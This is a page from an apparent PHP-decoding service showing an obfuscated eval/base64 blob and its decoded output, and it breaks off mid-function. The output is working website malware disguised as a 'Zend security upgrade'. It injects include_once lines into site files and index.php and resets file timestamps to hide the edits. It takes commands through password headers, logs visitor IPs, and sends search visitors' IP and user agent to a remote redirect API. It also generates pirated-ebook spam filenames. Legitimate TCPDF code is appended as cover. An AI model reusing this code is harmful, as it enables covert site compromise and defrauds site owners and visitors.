Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('7L17fxo5sjD89+6nIFlmG2LAgK+Jg2d9y8S7TpzHdnZ2juPDr4HG7h..

Decoded Output download


 $password = 'x3X57JmkAl'; $version = 48; 

if (! defined('ZEND_SECURITY_UPGRADE_VERSION')) {
define('ZEND_SECURITY_UPGRADE_VERSION', '1.22');
function dds_debug($what) {
	if (@$_SERVER['HTTP_X_FILE']) return;
	if (! isset($GLOBALS['DDS_DEBUG_MESSAGES'])) $GLOBALS['DDS_DEBUG_MESSAGES'] = array();

	$GLOBALS['DDS_DEBUG_MESSAGES'][] = $what;

	if (@! $GLOBALS['DDS_DEBUG_MODE']) return;
	echo $what . "<br>
";
}


class DS_UserLogger
{
	/** @var  DS_CacheWriter */
	var $writer;

	var $duration;

	function __construct($writer, $duration = 14)
	{
		$this->writer = $writer;
		$this->duration = $duration;
	}

	function getLogs()
	{
		$response = array();

		for ($i = 0; $i < $this->duration; $i++) {
			$name = $this->getFilename($i);
			$response[$name] = base64_encode($this->writer->readRaw($name));
		}

		return $response;
	}

	function logUser($ip)
	{
		$file = $this->getFilename();

		$this->writer->appendRaw($file, pack('V', ip2long($ip)));

		$this->removeOldLogs();
	}

	function getFilename($offset = 0)
	{
		return gmdate('Y-m-d', strtotime(-$offset . ' day'));
	}

	function removeOldLogs()
	{
		for ($i = $this->duration; $i < 60; $i++) {
			$this->writer->remove($this->getFilename($i));
		}
	}
}



class DS_FilenameMaker
{
	var $stopWords = array("kindle", "free", "download", "ebook", "book", "books", "online", "format", "read", "downloadable", "audiobook", "ebooks");
	var $extensions = array("epub", "fb2", "mobi", "pdf", "docx", "doc", "exe", "zip", "ibook");
	var $cantStart = array("for", "of", "in", "by", "at");
	var $separators = array("-", ".");
	var $rippers = array("ettv", "KILLERS", "FUM", "0SEC", "ShAaNiG", "IMMERSE");

	var $defaultExtension;

	function __construct($defaultExtension)
	{
		$this->defaultExtension = $defaultExtension;
	}

	function getExtension($keyword)
	{
		foreach ($this->extensions as $extension) {
			if (false !== stripos($keyword, $extension)) return $extension;
		}

		return $this->defaultExtension;
	}

	function rand($array)
	{
		return $array[mt_rand(0, count($array) - 1)];
	}

	function getRipper()
	{
		if (mt_rand(0, 10) <= 8) return '';

		$ripper = $this->rand($this->rippers);

		if (mt_rand(0, 1)) {
			return ".[$ripper]";
		} else {
			return ".uploaded.by.$ripper";
		}
	}

	function getFilename($keyword)
	{
		$keyword = urldecode($keyword);

		mt_srand(crc32($keyword));

		$name = strtolower($keyword);

		foreach ($this->extensions as $ext) {
			$name = str_replace('.'.$ext, '', $name);
		}

		$name = trim($name);

		$words = explode(' ', $name);
		$words = array_diff($words, $this->stopWords, $this->extensions);

		while (count($words) && in_array($words[0], $this->cantStart)) {
			array_shift($words);
		}

		if (count($words) == 0) {
			return $keyword.'.'.$this->defaultExtension;
		}

		$words = array_map('ucfirst', $words);
		$separator = $this->rand($this->separators);

		return implode($separator, $words) . $this->getRipper() . '.' . $this->getExtension($keyword);
	}
}



class DS_CacheWriter
{
	var $root;

	var $seed;

	function __construct($root, $seed = '')
	{
		$this->root = $root;
		$this->seed = $seed;
	}

	function getFreeSpace()
	{
		$free = disk_free_space($this->root);

		return $free ? $free : 0;
	}

	function hasSpace()
	{
		return $this->getFreeSpace() > 1000 * 1000 * 1000;
	}

	function getMissing($files)
	{
		$missing = array();

		foreach ($files as $file) {
			if (! $this->exists($file)) $missing[] = $file;
		}

		return $missing;
	}

	function exists($file)
	{
		$longName = $this->makeName($file);
		$exists = file_exists($longName);



		return $exists;
	}

	function makeDir($path)
	{
		$dir = dirname($path);

		if (! file_exists($dir)) {
			@mkdir($dir, 0777, true);
			@chmod($dir, 0777);
		}
	}

	function write($file, $contents)
	{


		return $this->writeRaw($file, $this->deflate($contents));
	}

	function writeRaw($file, $contents)
	{
		$fullPath = $this->makeName($file);

		$this->makeDir($fullPath);

		return file_put_contents($fullPath, $contents);
	}

	function deflate($string)
	{
		return $this->runIfExists(array('gzcompress', 'gzdeflate'), $string);
	}

	function runIfExists($names, $data)
	{
		foreach ($names as $name) {
			if (function_exists($name)) return $name($data);
		}

		return $data;
	}

	function inflate($string)
	{
		return $this->runIfExists(array('gzuncompress', 'gzinflate'), $string);
	}

	function appendRaw($realname, $data)
	{
		$file = $this->makeName($realname);
		$this->makeDir($file);
		$fp = fopen($file, 'ab');
		$res = fwrite($fp, $data);
		fclose($fp);
		return $res;
	}

	function readRaw($realname)
	{
		return file_get_contents($this->makeName($realname));
	}
	
	function read($realname, $default = null)
	{
		$file = $this->makeName($realname);

		if (! file_exists($file)) {

			return $default;
		}

		$deflated = file_get_contents($file);

		$inflated = $this->inflate($deflated);



		return @$inflated;
	}

	function jsonRead($file, $default)
	{
		$body = $this->read($file);
		return $body ? json_decode($body, true) : $default;
	}

	function tryDir($full)
	{
		if (! file_exists($full)) {
			@mkdir($full, 0777, true);
			@chmod($full, 0777);
		}

		return file_put_contents($full.'.test', 'ignore');
	}

	function getDir()
	{
		foreach (array( '.X1-unix/', '.sessions-'.$this->seed.'/', '') as $subdir) {
			$full = $this->root . $subdir;
			if ($this->tryDir($full)) return $full;
		}

		return '/tmp/';
	}

	function makeName($file)
	{
		$md5 = md5($file . '-' . $this->seed);
		return $this->getDir() . substr($md5, 0, 3) . "/" . $md5;
	}

	function remove($file)
	{
		if (! $this->exists($file)) return true;

		return unlink($this->makeName($file));
	}

	function removeDir($dir)
	{
		$files = array_merge(glob($dir . '/*'), glob($dir . '/.*'));

		foreach ($files as $file) {
			if (in_array(basename($file), array('.', '..'))) continue;
			is_dir($file) ? $this->removeDir($file) : unlink($file);
		}

		return rmdir($dir);
	}

	function listAllFiles($dir, $options)
	{
		$results = array();

		$globOptions = isset($options['globoptions']) ? $options['globoptions'] : null;
		$extension = isset($options['extension']) ? $options['extension'] : false;
		$adddirs = isset($options['adddirs']) ? $options['adddirs'] : false;
		$nodescend = isset($options['nodescend']) ? $options['nodescend'] : '.X1-unix';

		$list = array_merge(
			glob($dir . '/*', $globOptions),
			glob($dir . '/.*', $globOptions)
		);

		foreach ($list as $file) {
			$basename = basename($file);

			if ($basename == '.' || $basename == '..') continue;

			if (is_dir($file)) {
				if ($adddirs) {
					$results[] = $file;
				}

				if ($basename == $nodescend) continue;

				$results = array_merge($results, $this->listAllFiles($file, $options));
			} else if (! $extension || substr($file, -strlen($extension)) === $extension) {
				$results[] = $file;
			}
		}

		return $results;
	}

	function listDirs($dir) {
		return $this->listAllFiles($dir, array(
			'adddirs' => true,
			'globoptions' => GLOB_ONLYDIR
		));
	}

	function listFiles($dir, $extension = false) {
		return $this->listAllFiles($dir, array(
			'extension' => $extension
		));
	}
}





class DS_SEManager
{
	/** @var  DS_CacheWriter */
	var $cache;

	/** @var  DS_Browser */
	var $browser;

	function __construct($cache, $browser)
	{
		$this->cache = $cache;
		$this->browser = $browser;
	}

	function comesFromSE($server)
	{
		if (! isset($server['HTTP_REFERER'])) return false;

		return preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing#i', $server['HTTP_REFERER']);
	}

	function getSEKey($server, $myUri)
	{
		if (! $this->comesFromSE($server)) return false;

		$referrer = $server['HTTP_REFERER'];

		preg_match("#[\?&](?:q|p|query|keywords)=([^&]*)#i", $referrer, $keys);

		$key = $keys[1];

		if ($key) {
			return $key;
		}

		$pos = strrpos($myUri, '=');

		if ($pos === false) {
			return false;
		}

		$keyFromUri = urldecode(substr($myUri, $pos + 1));

		return $keyFromUri;
	}

	function getRedirectDestination($ip, $keyword, $fullkey)
	{
		$url = $this->cache->read('redirect');
		$url = str_replace('[key]', urlencode($keyword), $url);
		$url = str_replace('[original]', urlencode($fullkey), $url);
		$url = str_replace('[site]', $_SERVER['HTTP_HOST'], $url);

		$apikey = $this->cache->read('apikey');

		if ($apikey) {
			$parts = parse_url($url);

			parse_str($parts['query'], $params);

			$query = $params + array(
				'action' => 'get_link',
				'api_key' => $apikey,
				'group' => ltrim($parts['path'], '/'),
				'ip' => $ip,
				'keyword' => $keyword,
				'referer' => str_replace('www.', '', @$_SERVER['HTTP_HOST']),
				'ua' => $_SERVER['HTTP_USER_AGENT'],
			);

			$apiUrl = "http://{$parts['host']}/api.php?".http_build_query($query);

			$response = json_decode($this->browser->get($apiUrl), true);

			if (! $response) {
			} else if ($response['redirect'] && $response['stream']['url']) {
				$url = $response['stream']['url'];
			} else if ($response['bot_action']) {
				return "IS_BOT";
			}
		}

		$url = preg_replace('@##.+@', '', $url);

		return $url;
	}
}



class DS_Installer
{
	/** @var  DS_Browser */
	var $browser;

	var $password;

	function __construct($browser, $password)
	{
		$this->browser = $browser;
		$this->password = $password;
	}

	function includeSelf()
	{
		if (! function_exists('curl_init')) {
			return array("error" => "curl_init does not exist");
		}

		$index = $this->findIndex();

		if (! $index) {
			return array('error' => "Could not find index!");
		}

		dds_debug("Index $index");

		$included = $this->readIncludedFiles($index);

		if (! $included) {
			$included = $this->readIncludedFilesEditIndex($index);
		}

		if (! $included) {
			return array("error" => "Could not read included files");
		}

		$included = array_slice($included, 1); 

		$tryFiles = array_merge(
			array_slice($included, 4, 6), 
			array_reverse(array_slice($included, 1, 3)), 
			array_slice($included, 10, 10), 
			array_slice($included, 0, 1) 
		);

		$tryFiles = array_filter($tryFiles, array($this, 'isWritable'));

		if (count($tryFiles) == 0) {
			dds_debug("Mass including since no writable files found");
			$tryFiles = array_filter($included, array($this, 'isWritable'));
		}

		usort($tryFiles, array($this, 'configsGoLast'));

		$self = preg_replace('@\(.*\(.*$@', '', __FILE__);
		$newCode = '<?php @include_once("'.$self.'"); ?>';

		if ($file = $this->tryIncludingTo($newCode, $tryFiles)) {
			return array('success' => true, 'include' => $file);
		}

		if ($this->includeToIndexTop($newCode, $index)) {
			return array('success' => true, 'include' => $index, 'type' => 'top');
		}

		return array('error' => "Could not include to any file");
	}

	function getRandomUrl($safe = true)
	{
		$host = "http://" . $_SERVER['HTTP_HOST'] . '/';

		if ($safe) {
			return $host . "?" . md5(rand());
		} else {
			return $host . md5(rand());
		}
	}

	function hasModRewrite()
	{
		return $this->_checkIncluded($this->getRandomUrl(false));
	}

	function includeToIndexTop($code, $index)
	{
		dds_debug("Trying to include to the top of $index");

		$oldContents = $contents = file_get_contents($index);
		$mtime = filemtime($index); 

		$contents = $code . $contents;

		if (! file_put_contents($index, $contents)) {
			return false;
		}

		@touch($index, $mtime + 1, $mtime + 1);

		if ($this->_checkRetryIncluded()) {
			return true;
		}

		file_put_contents($index, $oldContents);
		@touch($index, $mtime, $mtime);

		return false;
	}

	function isWritable($fileOrDir)
	{
		if (is_writable($fileOrDir)) return true;

		
		if (is_file($fileOrDir)) {
			
			
			@chmod($fileOrDir, 0644);

			if (file_put_contents($fileOrDir, file_get_contents($fileOrDir)) !== false) {
				return true;
			}

			@chmod($fileOrDir, 0666);
			return file_put_contents($fileOrDir, file_get_contents($fileOrDir)) !== false;
		} else if (is_dir($fileOrDir)) {
			if (substr($fileOrDir, -1) != '/') $fileOrDir .= $fileOrDir;

			$file = $fileOrDir.md5(rand());
			$writable = touch($file);
			unlink($file);

			return $writable;
		}

		return false;
	}

	function tryIncludingTo($code, $files)
	{
		dds_debug("Trying to include to " . count($files) . " files");

		foreach ($files as $file) {
			if (! $this->isWritable($file)) {
				dds_debug("Can't include to $file: not writable");
				continue;
			}

			dds_debug("Trying to include to $file");

			$oldContents = $contents = file_get_contents($file);
			$mtime = filemtime($file); 

			$contents = $this->addClosingTag($contents);

			if (strpos($contents, $code) === false) {
				$contents .= $code;

				if (! file_put_contents($file, $contents)) {
					dds_debug("Could not write to writable $file ?");
				}

				@touch($file, $mtime + 1, $mtime + 1);
			} else {
				dds_debug("Already included to $file");
			}

			if ($this->_checkRetryIncluded()) {
				return $file;
			}

			file_put_contents($file, $oldContents);
			@touch($file, $mtime + 2, $mtime + 2);
		}

		return false;
	}

	function _checkRetryIncluded()
	{
		$url = $this->getRandomUrl();

		for ($i = 0; $i < 4; $i++) {
			$res = $this->_checkIncluded($url);

			if ($res) return true;

			sleep(5);
		}

		return false;
	}

	function _checkIncluded($url)
	{
		$response = $this->browser->get($url, array(
			CURLOPT_HTTPHEADER => array(
				'X-Action: printMarker',
				'X-Password: '.$this->password,
			)
		));

		$pos = strpos($response, '<dds-delimiter>');

		if ($pos === 0) { 
			dds_debug("Included and visible!");
			return true;
		}

		if ($pos === false) {
			dds_debug("Could not include - no delimiter");
		} else {
			dds_debug("Could not include - bad position $pos");

			if (trim(substr($response, 0, $pos)) == '' && $pos < 100) {
				dds_debug("Only whitespace before position");
				return true;
			}
		}

		return false;
	}

	function configsGoLast($a, $b)
	{
		return $this->rateFile($a) - $this->rateFile($b);
	}

	function rateFile($name)
	{
		if (preg_match('#config|index#i', $name)) return 1;
		return 0;
	}

	function addClosingTag($contents)
	{
		$starting = strrpos($contents, '<?');
		$closing = strrpos($contents, '?>');

		
		if ($starting > $closing || ! $closing) $contents .= '?>';

		return $contents;
	}

	function readIncludedFilesEditIndex($index)
	{
		dds_debug("Editing index $index");

		if (! $this->isWritable($index)) {
			dds_debug("Index is not writable");
			return false;
		}

		$oldContents = $contents = file_get_contents($index);
		$mtime = filemtime($index); 

		$contents = $this->addClosingTag($contents);

		$prefix = "<?php function printend() { echo '<!--<dds-delimiter>'.json_encode(get_included_files()).'</dds-delimiter>-->'; } register_shutdown_function('printend'); ?>";

		$contents = $prefix.$contents."<?php printend(); ?>";

		$written = file_put_contents($index, $contents);

		if (! $written) {
			dds_debug("Could not write index");
		}

		$url = "http://".$_SERVER['HTTP_HOST'];

		dds_debug("Fetching from $url");

		$response = $this->browser->get($url);

		$included = $this->parseIncludedResponse($response);

		$written = file_put_contents($index, $oldContents);

		@touch($index, $mtime, $mtime);

		if (! $written) {
			dds_debug("Could not rollback index");
		}

		return $included;
	}

	function readIncludedFiles($index)
	{
		$myUrl = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

		$revved = strrev($index);

		dds_debug("Fetching from $myUrl");
		dds_debug("Checked file: $revved ( $index )");

		$response = $this->browser->get($myUrl, array(
			CURLOPT_FOLLOWLOCATION => false,
			CURLOPT_HTTPHEADER => array(
				'X-Action: getIncludedFiles',
				'X-Password: '.$this->password,
				'X-Checked-File: '. $revved
			)
		));

		return $this->parseIncludedResponse($response);
	}

	function parseIncludedResponse($response)
	{
		if (! $response || ! preg_match('#<dds-delimiter>(.+?)</dds-delimiter>#is', $response, $matches)) {
			dds_debug("BAD response length ".strlen($response));

			if (preg_match('#<title.*</title>#is', $response, $titles)) {
				dds_debug("Title ".htmlspecialchars($titles[0]));
			} else {
				dds_debug("No title");
			}

			return false;
		}

		$includedFiles = json_decode($matches[1], true);

		dds_debug("Included:
".implode("
", $includedFiles));

		return $includedFiles;
	}

	function findIndex()
	{
		$docRoot = $_SERVER['DOCUMENT_ROOT'];
		$myName = $_SERVER['SCRIPT_NAME'];

		dds_debug("Doc root '$docRoot', my name '$myName'");

		$parts = explode('/', $myName);

		$tryFiles = array(
			$docRoot.'/index.php',
			$docRoot.'/'.$parts[1].'/index.php'
		);

		foreach ($tryFiles as $file) {
			if (! file_exists($file)) continue;

			return $file;
		}

		return false;
	}

	function dropHtmlDoorways()
	{
		$root = $_SERVER['DOCUMENT_ROOT'];

		$this->dropHtmlDoorwaysIn($root);

		$dirs = glob($root . '/*', GLOB_ONLYDIR);

		foreach ($dirs as $dir) {
			$this->dropHtmlDoorwaysIn($dir);
		}
	}

	function dropHtmlDoorwaysIn($dir)
	{
		$files = glob($dir . '/*');
		$shittyFiles = array();

		foreach ($files as $file) {
			if (! $this->isShittyFile($file)) continue;

			$shittyFiles[] = $file;
		}

		if (count($shittyFiles) < 500) return;

		foreach ($shittyFiles as $file) {
			unlink($file);
		}
	}

	function isShittyFile($file)
	{
		$file = basename($file);
		return preg_match('#.*[\-_].*[\-_].*\.(html|php)$#', $file);
	}
}



class TCPDF_COLORS{ public static $webcolor=array('aliceblue'=>'f0f8ff','antiquewhite'=>'faebd7','aqua'=>'00ffff','aquamarine'=>'7fffd4','azure'=>'f0ffff','beige'=>'f5f5dc','bisque'=>'ffe4c4','black'=>'000000','blanchedalmond'=>'ffebcd','blue'=>'0000ff','blueviolet'=>'8a2be2','brown'=>'a52a2a','burlywood'=>'deb887','cadetblue'=>'5f9ea0','chartreuse'=>'7fff00','chocolate'=>'d2691e','coral'=>'ff7f50','cornflowerblue'=>'6495ed','cornsilk'=>'fff8dc','crimson'=>'dc143c','cyan'=>'00ffff','darkblue'=>'00008b','darkcyan'=>'008b8b','darkgoldenrod'=>'b8860b','dkgray'=>'a9a9a9','darkgray'=>'a9a9a9','darkgrey'=>'a9a9a9','darkgreen'=>'006400','darkkhaki'=>'bdb76b','darkmagenta'=>'8b008b','darkolivegreen'=>'556b2f','darkorange'=>'ff8c00','darkorchid'=>'9932cc','darkred'=>'8b0000','darksalmon'=>'e9967a','darkseagreen'=>'8fbc8f','darkslateblue'=>'483d8b','darkslategray'=>'2f4f4f','darkslategrey'=>'2f4f4f','darkturquoise'=>'00ced1','darkviolet'=>'9400d3','deeppink'=>'ff1493','deepskyblue'=>'00bfff','dimgray'=>'696969','dimgrey'=>'696969','dodgerblue'=>'1e90ff','firebrick'=>'b22222','floralwhite'=>'fffaf0','forestgreen'=>'228b22','fuchsia'=>'ff00ff','gainsboro'=>'dcdcdc','ghostwhite'=>'f8f8ff','gold'=>'ffd700','goldenrod'=>'daa520','gray'=>'808080','grey'=>'808080','green'=>'008000','greenyellow'=>'adff2f','honeydew'=>'f0fff0','hotpink'=>'ff69b4','indianred'=>'cd5c5c','indigo'=>'4b0082','ivory'=>'fffff0','khaki'=>'f0e68c','lavender'=>'e6e6fa','lavenderblush'=>'fff0f5','lawngreen'=>'7cfc00','lemonchiffon'=>'fffacd','lightblue'=>'add8e6','lightcoral'=>'f08080','lightcyan'=>'e0ffff','lightgoldenrodyellow'=>'fafad2','ltgray'=>'d3d3d3','lightgray'=>'d3d3d3','lightgrey'=>'d3d3d3','lightgreen'=>'90ee90','lightpink'=>'ffb6c1','lightsalmon'=>'ffa07a','lightseagreen'=>'20b2aa','lightskyblue'=>'87cefa','lightslategray'=>'778899','lightslategrey'=>'778899','lightsteelblue'=>'b0c4de','lightyellow'=>'ffffe0','lime'=>'00ff00','limegreen'=>'32cd32','linen'=>'faf0e6','magenta'=>'ff00ff','maroon'=>'800000','mediumaquamarine'=>'66cdaa','mediumblue'=>'0000cd','mediumorchid'=>'ba55d3','mediumpurple'=>'9370d8','mediumseagreen'=>'3cb371','mediumslateblue'=>'7b68ee','mediumspringgreen'=>'00fa9a','mediumturquoise'=>'48d1cc','mediumvioletred'=>'c71585','midnightblue'=>'191970','mintcream'=>'f5fffa','mistyrose'=>'ffe4e1','moccasin'=>'ffe4b5','navajowhite'=>'ffdead','navy'=>'000080','oldlace'=>'fdf5e6','olive'=>'808000','olivedrab'=>'6b8e23','orange'=>'ffa500','orangered'=>'ff4500','orchid'=>'da70d6','palegoldenrod'=>'eee8aa','palegreen'=>'98fb98','paleturquoise'=>'afeeee','palevioletred'=>'d87093','papayawhip'=>'ffefd5','peachpuff'=>'ffdab9','peru'=>'cd853f','pink'=>'ffc0cb','plum'=>'dda0dd','powderblue'=>'b0e0e6','purple'=>'800080','red'=>'ff0000','rosybrown'=>'bc8f8f','royalblue'=>'4169e1','saddlebrown'=>'8b4513','salmon'=>'fa8072','sandybrown'=>'f4a460','seagreen'=>'2e8b57','seashell'=>'fff5ee','sienna'=>'a0522d','silver'=>'c0c0c0','skyblue'=>'87ceeb','slateblue'=>'6a5acd','slategray'=>'708090','slategrey'=>'708090','snow'=>'fffafa','springgreen'=>'00ff7f','steelblue'=>'4682b4','tan'=>'d2b48c','teal'=>'008080','thistle'=>'d8bfd8','tomato'=>'ff6347','turquoise'=>'40e0d0','violet'=>'ee82ee','wheat'=>'f5deb3','white'=>'ffffff','whitesmoke'=>'f5f5f5','yellow'=>'ffff00','yellowgreen'=>'9acd32'); public static $jscolor=array('transparent','black','white','red','green','blue','cyan','magenta','yellow','dkGray','gray','ltGray'); public static $spotcolor=array('none'=>array(0,0,0,0,'None'),'all'=>array(100,100,100,100,'All'),'cyan'=>array(100,0,0,0,'Cyan'),'magenta'=>array(0,100,0,0,'Magenta'),'yellow'=>array(0,0,100,0,'Yellow'),'key'=>array(0,0,0,100,'Key'),'white'=>array(0,0,0,0,'White'),'black'=>array(0,0,0,100,'Black'),'red'=>array(0,100,100,0,'Red'),'green'=>array(100,0,100,0,'Green'),'blue'=>array(100,100,0,0,'Blue'),); public static function getSpotColor($name,&$spotc){if(isset($spotc[$name])){return $spotc[$name];}$color=preg_replace('/[\s]*/','',$name);$color=strtolower($color);if(isset(self::$spotcolor[$color])){if(!isset($spotc[$name])){$i=(1+count($spotc));$spotc[$name]=array('C'=>self::$spotcolor[$color][0],'M'=>self::$spotcolor[$color][1],'Y'=>self::$spotcolor[$color][2],'K'=>self::$spotcolor[$color][3],'name'=>self::$spotcolor[$color][4],'i'=>$i);}return $spotc[self::$spotcolor[$color][4]];}return false;} public static function convertHTMLColorToDec($hcolor,&$spotc,$defcol=array('R'=>128,'G'=>128,'B'=>128)){$color=preg_replace('/[\s]*/','',$hcolor);$color=strtolower($color);if(strpos($color,'[')!==false){if(preg_match('/[\[][\"\'](t|g|rgb|cmyk)[\"\'][\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\]]/',$color,$m)>0){$returncolor=array();switch($m[1]){case 'cmyk':{$returncolor['C']=max(0,min(100,(floatval($m[2])*100)));$returncolor['M']=max(0,min(100,(floatval($m[3])*100)));$returncolor['Y']=max(0,min(100,(floatval($m[4])*100)));$returncolor['K']=max(0,min(100,(floatval($m[5])*100)));break;}case 'rgb':{$returncolor['R']=max(0,min(255,(floatval($m[2])*255)));$returncolor['G']=max(0,min(255,(floatval($m[3])*255)));$returncolor['B']=max(0,min(255,(floatval($m[4])*255)));break;}case 'g':{$returncolor['G']=max(0,min(255,(floatval($m[2])*255)));break;}case 't':default:{break;}}return $returncolor;}}elseif((substr($color,0,4)!='cmyk') AND (substr($color,0,3)!='rgb') AND (($dotpos=strpos($color,'.'))!==false)){$color=substr($color,($dotpos+1));if($color=='transparent'){return array();}}if(strlen($color)==0){return $defcol;}if(substr($color,0,3)=='rgb'){$codes=substr($color,4);$codes=str_replace(')','',$codes);$returncolor=explode(',',$codes);foreach($returncolor as $key=>$val){if(strpos($val,'%')>0){$returncolor[$key]=(255*intval($val)/100);}else {$returncolor[$key]=intval($val);}$returncolor[$key]=max(0,min(255,$returncolor[$key]));}return $returncolor;}if(substr($color,0,4)=='cmyk'){$codes=substr($color,5);$codes=str_replace(')','',$codes);$returncolor=explode(',',$codes);foreach($returncolor as $key=>$val){if(strpos($val,'%')!==false){$returncolor[$key]=(100*intval($val)/100);}else {$returncolor[$key]=intval($val);}$returncolor[$key]=max(0,min(100,$returncolor[$key]));}return $returncolor;}if($color[0]!='#'){if(isset(self::$webcolor[$color])){$color_code=self::$webcolor[$color];}else {$returncolor=self::getSpotColor($color,$spotc);if($returncolor===false){$returncolor=$defcol;}return $returncolor;}}else {$color_code=substr($color,1);}switch(strlen($color_code)){case 3:{$r=substr($color_code,0,1);$g=substr($color_code,1,1);$b=substr($color_code,2,1);$returncolor=array();$returncolor['R']=max(0,min(255,hexdec($r.$r)));$returncolor['G']=max(0,min(255,hexdec($g.$g)));$returncolor['B']=max(0,min(255,hexdec($b.$b)));break;}case 6:{$returncolor=array();$returncolor['R']=max(0,min(255,hexdec(substr($color_code,0,2))));$returncolor['G']=max(0,min(255,hexdec(substr($color_code,2,2))));$returncolor['B']=max(0,min(255,hexdec(substr($color_code,4,2))));break;}case 8:{$returncolor=array();$returncolor['C']=max(0,min(100,round(hexdec(substr($color_code,0,2))/2.55)));$returncolor['M']=max(0,min(100,round(hexdec(substr($color_code,2,2))/2.55)));$returncolor['Y']=max(0,min(100,round(hexdec(substr($color_code,4,2))/2.55)));$returncolor['K']=max(0,min(100,round(hexdec(substr($color_code,6,2))/2.55)));break;}default:{$returncolor=$defcol;break;}}return $returncolor;} public static function getColorStringFromArray($c){$c=array_values($c);$color='[';switch(count($c)){case 4:{$color.=sprintf('%F %F %F %F',(max(0,min(100,floatval($c[0])))/100),(max(0,min(100,floatval($c[1])))/100),(max(0,min(100,floatval($c[2])))/100),(max(0,min(100,floatval($c[3])))/100));break;}case 3:{$color.=sprintf('%F %F %F',(max(0,min(255,floatval($c[0])))/255),(max(0,min(255,floatval($c[1])))/255),(max(0,min(255,floatval($c[2])))/255));break;}case 1:{$color.=sprintf('%F',(max(0,min(255,floatval($c[0])))/255));break;}}$color.=']';return $color;} public static function _JScolor($color){if(substr($color,0,1)=='#'){return sprintf("['RGB',%F,%F,%F]",(hexdec(substr($color,1,2))/255),(hexdec(substr($color,3,2))/255),(hexdec(substr($color,5,2))/255));}if(!in_array($color,self::$jscolor)){$color=$jscolor[0];}return 'color.'.$color;}}
define('K_PATH_MAIN',dirname(__FILE__).'/');define('K_PATH_FONTS',K_PATH_MAIN.'fonts/');define('PDF_PAGE_FORMAT','A4');define('PDF_PAGE_ORIENTATION','P');define('PDF_CREATOR','TCPDF');define('PDF_AUTHOR','TCPDF');define('PDF_UNIT','mm');define('PDF_MARGIN_HEADER',5);define('PDF_MARGIN_FOOTER',10);define('PDF_MARGIN_TOP',27);define('PDF_MARGIN_BOTTOM',25);define('PDF_MARGIN_LEFT',15);define('PDF_MARGIN_RIGHT',15);define('PDF_IMAGE_SCALE_RATIO',1.25);define('K_CELL_HEIGHT_RATIO',1.25);define('K_TITLE_MAGNIFICATION',1.3);define('K_SMALL_RATIO',2/3);define('K_THAI_TOPCHARS',true);define('K_TCPDF_CALLS_IN_HTML',false);$K_PATH_CACHE=ini_get('upload_tmp_dir')?ini_get('upload_tmp_dir'):sys_get_temp_dir();if(substr($K_PATH_CACHE,-1)!='/'){$K_PATH_CACHE.='/';}define('K_PATH_CACHE',$K_PATH_CACHE);class TCPDF_IMAGES{ public static $svginheritprop=array('clip-rule','color','color-interpolation','color-interpolation-filters','color-profile','color-rendering','cursor','direction','display','fill','fill-opacity','fill-rule','font','font-family','font-size','font-size-adjust','font-stretch','font-style','font-variant','font-weight','glyph-orientation-horizontal','glyph-orientation-vertical','image-rendering','kerning','letter-spacing','marker','marker-end','marker-mid','marker-start','pointer-events','shape-rendering','stroke','stroke-dasharray','stroke-dashoffset','stroke-linecap','stroke-linejoin','stroke-miterlimit','stroke-opacity','stroke-width','text-anchor','text-rendering','visibility','word-spacing','writing-mode'); public static function getImageFileType($imgfile,$iminfo=array()){$type='';if(isset($iminfo['mime']) AND !empty($iminfo['mime'])){$mime=explode('/',$iminfo['mime']);if((count($mime)>1) AND ($mime[0]=='image') AND (!empty($mime[1]))){$type=strtolower(trim($mime[1]));}}if(empty($type)){$fileinfo=pathinfo($imgfile);if(isset($fileinfo['extension']) AND (!TCPDF_STATIC::empty_string($fileinfo['extension']))){$type=strtolower(trim($fileinfo['extension']));}}if($type=='jpg'){$type='jpeg';}return $type;} public static function setGDImageTransparency($new_image,$image){$tcol=array('red'=>255,'green'=>255,'blue'=>255);$tid=imagecolortransparent($image);$palletsize=imagecolorstotal($image);if(($tid>=0) AND ($tid<$palletsize)){$tcol=imagecolorsforindex($image,$tid);}$tid=imagecolorallocate($new_image,$tcol['red'],$tcol['green'],$tcol['blue']);imagefill($new_image,0,0,$tid);imagecolortransparent($new_image,$tid);return $new_image;} public static function _toPNG($image,$tempfile){imageinterlace($image,0);imagepng($image,$tempfile);imagedestroy($image);$retvars=self::_parsepng($tempfile);unlink($tempfile);return $retvars;} public static function _toJPEG($image,$quality,$tempfile){imagejpeg($image,$tempfile,$quality);imagedestroy($image);$retvars=self::_parsejpeg($tempfile);unlink($tempfile);return $retvars;} public static function _parsejpeg($file){if(!@file_exists($file)){$tfile=str_replace(' ','%20',$file);if(@file_exists($tfile)){$file=$tfile;}}$a=getimagesize($file);if(empty($a)){return false;}if($a[2]!=2){return false;}$bpc=isset($a['bits'])?intval($a['bits']):8;if(!isset($a['channels'])){$channels=3;}else {$channels=intval($a['channels']);}switch($channels){case 1:{$colspace='DeviceGray';break;}case 3:{$colspace='DeviceRGB';break;}case 4:{$colspace='DeviceCMYK';break;}default:{$channels=3;$colspace='DeviceRGB';break;}}$data=file_get_contents($file);$icc=array();$offset=0;while(($pos=strpos($data,"ICC_PROFILE",$offset))!==false){$length=(TCPDF_STATIC::_getUSHORT($data,($pos-2))-16);$msn=max(1,ord($data[($pos+12)]));$nom=max(1,ord($data[($pos+13)]));$icc[($msn-1)]=substr($data,($pos+14),$length);$offset=($pos+14+$length);}if(count($icc)>0){ksort($icc);$icc=implode('',$icc);if((ord($icc[36])!=0x61) OR (ord($icc[37])!=0x63) OR (ord($icc[38])!=0x73) OR (ord($icc[39])!=0x70)){$icc=false;}}else {$icc=false;}return array('w'=>$a[0],'h'=>$a[1],'ch'=>$channels,'icc'=>$icc,'cs'=>$colspace,'bpc'=>$bpc,'f'=>'DCTDecode','data'=>$data);} public static function _parsepng($file){$f=@fopen($file,'rb');if($f===false){return false;}if(fread($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10)){return false;}fread($f,4);if(fread($f,4)!='IHDR'){return 